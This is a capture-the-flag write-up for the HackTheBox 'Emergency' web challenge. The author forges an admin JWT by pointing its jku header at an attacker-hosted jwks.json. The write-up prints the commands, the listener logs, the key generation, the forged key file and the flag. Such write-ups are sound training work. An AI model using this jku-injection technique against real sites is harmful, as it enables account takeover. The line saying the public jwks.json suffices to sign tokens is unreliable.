Challenge Info
You've been tasked with a pentesting engagement on a hospital management portal, they've provided you with a mockup build of the website and they've asked you to break their JWT implementation and find a way to login as "admin".
Solution
When we visit the website we are able to create a new account:
Logging in with the newly created user:
Here we also see a reminder on what we're supposed to do: Login as admin to see flag here.
Cliking around the website and fuzzing with tools like ffuf
didn't give us much, so once again I decided to send a request through Burp to see what's happening.
Right away we see what looks like a JWT (Json Web Token):
Using a website like jwt.io
will easily decode the JWT for us:
What's really interesting here is the fact that they are using jku
with an URL pointing to localhost
.
Going to http://159.65.58.156:32014/.well-known/jwks.json
gives us the following:
{
"keys": [
{
"alg": "RS256",
"e": "65537",
"kid": "efe1bca5-ec73-4675-a09c-ae40aa25012d",
"kty": "RSA",
"n": "21626483888924415051959075467215913922055831043151007356734229763199940759705629001527848156215791692359812375846235003197141696899466332901631771730329386716384242136968302086807046588272169389610510566594149581526060945257715757967801992606300293195610251102369414133756023915881580201237985361285328762901565795819103355159011364427449978886073388706881162242978371258669078375778244081126645550521486623616549199266001583096568453649861816818067815024716724659532397479879265014091157649131508825578597113417731620220970409844577324161585082872095698932135414217339609068899245402977781384347753133470322840786369",
"use": "sig"
}
]
}
This file contains everything the server needs in order to sign the real tokens.
So, if we change the jku
url to a server we control, do we see a request coming in?
I change the JWT header to the following:
{"typ":"JWT","alg":"RS256","jku":"http://MY-IP-ADDRESS/.well-known/jwks.json","kid":"751dca95-94c1-46c1-8a63-62a6a9ae033d"}
Then I base64 encode the data:
┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Emergency]
└──╼ $ echo -n '{"typ":"JWT","alg":"RS256","jku":"http://MY-IP-ADDRESS/.well-known/jwks.json","kid":"751dca95-94c1-46c1-8a63-62a6a9ae033d"}' | base64 -w0 ; echo
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9NWS1JUC1BRERSRVNTLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6Ijc1MWRjYTk1LTk0YzEtNDZjMS04YTYzLTYyYTZhOWFlMDMzZCJ9
When we now send a request to the website with the modified header, we get a response on our listener.
s1gh@Database:/dev/shm$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...
159.65.58.156 - - [25/Jul/2021 21:38:04] code 404, message File not found
159.65.58.156 - - [25/Jul/2021 21:38:04] "GET /.well-known/jwks.json HTTP/1.1" 404 -
This means that we can serve our own jwks.json
and potentially make the website use our key to sign the tokens.
This way we can forge a valid JWT and get access to the website as the admin user!
Creating the public/private key
┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Emergency/files]
└──╼ $ ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in jwtRS256.key
Your public key has been saved in jwtRS256.key.pub
The key fingerprint is:
SHA256:zpphKgHmXdNNx4zudUol3K8It4OzoT1GQqnoaeJ68vc s1gh@fsociety
The key's randomart image is:
+---[RSA 4096]----+
| = . |
| o * o |
| . = . o . |
|.. o + + + . . |
|o.. o + S * = . |
| ..o . + * = . |
| ... o B + . |
|..o+.o = = |
|+=+o..E . . |
+----[SHA256]-----+
┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Emergency/files]
└──╼ $ openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub
writing RSA key
┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Emergency/files]
└──╼ $ ls jwt*
jwtRS256.key jwtRS256.key.pub
We now have the new private/public key pair we will use in order to sign our own JWT.
Creating our own jwks.json
Now we need to create our own jwks.json
file, which will have all the details needed to sign/verify tokens.
We use RsaCtfTool
to dump the e
and n
values. We will use these values when we create the jwks.json
file.
┌─[s1gh@fsociety]─[~/Documents/HackTheBox/HTB-Business-CTF-2021/Web/Emergency/files]
└──╼ $ ../RsaCtfTool/RsaCtfTool.py --key jwtRS256.key --dump
private argument is not set, the private key will not be displayed, even if recovered.
n: 827377738073473803660835491922666175586929940650371123227595043259957830566338892213800869724818443697444111099604277695554941877971259012763290494404323680323144381018835194578986221831553727264051466054704965527657814239851399372061645887084476571107217569673539070480690829102476713704561905281982805691071790850256751602186780151829419910241315903079659749840779257744889260147247175135767181725635575356884011338375911315348595011232636237979589873776993660099208624338487122673696337101433351308954427073432370533345168682902109011057363907272651802176599277348821592772288674825057558039456947936627276254432787416769196721673722137693671015427846669745932879288167085003130964369825706283653087793919561095685887607029912818361714498311472215284939178620236594171259849663646760331910056820049479064223593531033197075788510995931090333789498063507704287527046731096069814074052719212556920432571925960679365934090483318825806275042092305460203509050760027276011155981667400422698428687587964341340576030836763527590813117277892073688511532219330090374796759035940425198435204159691456396065586014969771021724767128390547663479610861758871697585398422955379627150720688769783347395801777503438191453251692105946921451791432197
e: 65537
d: 581602224931059777848406705790397913287368592334436231075149549841204164004465667110145296051889175316196236541917839833323475553904785563254223259940381580310464905155205739949331160314903774376727451510966371010172388791304364216725025014451298520749170792335478759143307533239574587235538129826444083119184374211216233418696961637161138682651131152463140592572361561027347961086463068363362044263825096069644468290395347031246386370637598896005031141111621235746379024286277419693524521322702184437069464590169764836667509590805457375687042401149637546339834782003797274172247233784207037876615379625135144876412735295324817447441420203518936587272837246697285371621588697554178486624690185618897488770266921035952816040880414523108156841202775489113267395123547526575076863235493385724686050176726421831264273807522205106338397227920418227607479787571135380471591497092608614524532412837527186426414090997238503056225140012922310836102500258786091683291914198630613820407427632718196233539855550813983274921952243902406922337872017183282952202743198852436903918649391906220827431577294151130969542152381026158744200961039854173269365203420045447458882145849272792698580994257469705720497689926606372308006814774454263988306872513
p: 29101301905317268959540200028527567597273447699585780100065207691046441347178179444777143037594406280132727498985514785071886998671441337853337774768127037061146871161960484925835739190759540581479977341611372115432696929130606744292099326212594100706029986767978619875733991783380686765002868157732646971613473800395143431408646196828708199064182832881309431533574046180569850812422346388205002818981622570862415722373680702934194977371581284902105162416917255169098807232128509481185600052758476815824480824883567238844460085515119017917655899605584081704043669304476883238009789345536135662574126797835358339014321
q: 28430952703263725165560917625054877116820448963906285334629867110770824735866120972626752013243601575767146539550746652479401737895800320217333297834825224219923442715323187218442131193662596954607583872775743524181228819831845330573503349923840206893959374983947718513507825279406666558398451526174848780138788851205369261825219530276825034938787948425426049545909003611423761095296413411163522754281316076355892527356502325592564158517948362347450406437238260955497714326813990681496422197498091249894298704848299206874037251738603571002458594036410060119064934818836567736289263941755103782813959669412147812887957
We can now substitute the n
value with the value extracted by the tool above, and create the following jwks.json
file:
{
"keys": [
{
"alg": "RS256",
"e": "65537",
"kid": "efe1bca5-ec73-4675-a09c-ae40aa25012d",
"kty": "RSA",
"n": "827377738073473803660835491922666175586929940650371123227595043259957830566338892213800869724818443697444111099604277695554941877971259012763290494404323680323144381018835194578986221831553727264051466054704965527657814239851399372061645887084476571107217569673539070480690829102476713704561905281982805691071790850256751602186780151829419910241315903079659749840779257744889260147247175135767181725635575356884011338375911315348595011232636237979589873776993660099208624338487122673696337101433351308954427073432370533345168682902109011057363907272651802176599277348821592772288674825057558039456947936627276254432787416769196721673722137693671015427846669745932879288167085003130964369825706283653087793919561095685887607029912818361714498311472215284939178620236594171259849663646760331910056820049479064223593531033197075788510995931090333789498063507704287527046731096069814074052719212556920432571925960679365934090483318825806275042092305460203509050760027276011155981667400422698428687587964341340576030836763527590813117277892073688511532219330090374796759035940425198435204159691456396065586014969771021724767128390547663479610861758871697585398422955379627150720688769783347395801777503438191453251692105946921451791432197",
"use": "sig"
}
]
}
We then host this file in a .well-known
directory on a server that's reachable from the docker container.
Creating a forged JWT
Now we can use the contents of the public and private key we created earlier, change the username to admin
, and create our own forged JWT:
Now we just need to take the JWT generated above, and add that to the auth
cookie and send the request to the website.
We see that the server reaches out to our server and downloads the jwks.json
file, which means the server will see the JWT we send as valid.
s1gh@Database:/dev/shm$ sudo python3 -m http.server 80
[sudo] password for s1gh:
Serving HTTP on 0.0.0.0 port 80 ...
159.65.58.156 - - [25/Jul/2021 22:01:09] "GET /.well-known/jwks.json HTTP/1.1" 200 -
Getting the flag
Looking through the response from the webserver in Burp reveals the flag.
Flag: HTB{your_JWTS_4r3_cl41m3d!!}